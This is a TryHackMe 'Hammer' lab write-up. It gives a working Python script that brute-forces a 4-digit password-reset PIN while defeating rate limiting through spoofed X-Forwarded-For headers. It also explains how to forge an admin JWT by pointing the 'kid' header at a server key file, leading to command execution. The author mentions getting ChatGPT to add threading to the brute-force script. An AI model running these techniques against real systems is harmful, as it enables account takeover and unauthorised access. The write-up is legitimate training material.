TryHackMe - Hammer writeup
Published on by logoseq
Walkthrough
Summary:
This lab focused on exploiting weak security through brute-forcing a 4-digit PIN and manipulating JWT validation.
We bypassed a rate-limited PIN system using brute force, gaining access to the account and changing the password. Next, we exploited a vulnerability in the JWT kid parameter by pointing it to a file path on the server, signing a new token, and bypassing authentication.
The lab highlighted vulnerabilities in rate-limiting and JWT handling, emphasizing the need for stronger security measures.
Below you can see my xMind map of the lab!
Foothold:
As always, I started with an nmap scan, which revealed ports 22 and 1337 open. Port 22 wasn't useful because it didn't allow login using a password. On port 1337, I found an open HTTP server.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
1337/tcp open http Apache httpd 2.4.41
http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
There was a login page at /index.php, and on that page, there was a password reset link at /reset_password.php. I followed the link and found a page with a form to enter the new password.
Viewing the source code, I found a comment indicating that a directory must start with hmr_ followed by directory_name.
I used ffuf to search for other directories and found an interesting one, hmr_logs, which contained an error.log file.
I opened the error.log file and found some directories that weren’t useful at all, along with a username which made me think it was an admin and I could reset his password via /reset_password.php page.
Exploitation:
Since there was a user ******@hammer.thm, I added hammer.thm to my /etc/hosts file.
I remembered there was a /reset_password.php page with a form to reset the password. I tried to send a password reset request, but it asked for a PIN.
I attempted to brute-force the PIN using Burp Intruder, but the system had rate limiting. I decided to write a Python script to brute-force the PIN and bypass the rate limit. I found an interesting article about bypassing rate limits. Here you can read about it: Rate-Limit-Pending bypass.
I used " X-Forwarded-For " twice but it should work even if you use only one.
P.S: You have to change the IP each request you send to keep the Rate-Limit-Pending : 8
I wrote a Python script to bypass the rate limit, but it wasn’t enough due to the time constraint (180 seconds) before a new request could be made. I then asked ChatGPT to modify my code and add threading. After running the script with 6 threads, it worked!
import requests, re, time
from random import randint
from concurrent.futures import ThreadPoolExecutor
# Function to attempt a single recovery code
def try_code(code):
global s, url # Use the session and URL from the global scope
s.headers.update({
"X-Forwarded-For": f"{randint(1,254)}.{randint(1,254)}.{randint(1,254)}.{randint(1,254)}",
"X-Forwarded-Host": f"{randint(1,254)}.{randint(1,254)}.{randint(1,254)}.{randint(1,254)}"
})
code_str = f"{code:04d}"
answer = s.post(url=url, data={"recovery_code": code_str, "s": 180})
res = re.search(r"Invalid or expired recovery code", answer.text)
if not res:
print(f"Found valid recovery code: {code_str}")
return code_str
return None
# Initialize session and make the initial request
s = requests.session()
url = "http://lab.thm:1337/reset_password.php"
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
r = s.post(url=url, data={"email": "tester@hammer.thm"})
# Use ThreadPoolExecutor to test multiple codes concurrently
with ThreadPoolExecutor(max_workers=6) as executor:
futures = {executor.submit(try_code, code): code for code in range(0, 10000)}
for future in futures:
code = futures[future]
if code % 100 == 0:
print(f"Trying code: {code:04d}")
result = future.result()
if result is not None:
print(f"Found valid recovery code: {result}")
break
time.sleep(0.2)
I used that code to change the password and log in. There was the first flag.
Post Exploitation:
I tried to run OS commands but the only one that worked was ls and indeed I found a interesting .key file. Inside that file I found the key used to sign the jwt token.
Then I copied the jwt token from cookie and used it to craft a new jwt token. I changed the following values:
"kid": "/var/www/html/*******.key"
[...]
"role": "admin"
[...]
HMACSHA256 secret to one that I found earlier from *******.key
I send a new OS command and it worked, then I read the flag from /home/ubuntu/flag.txt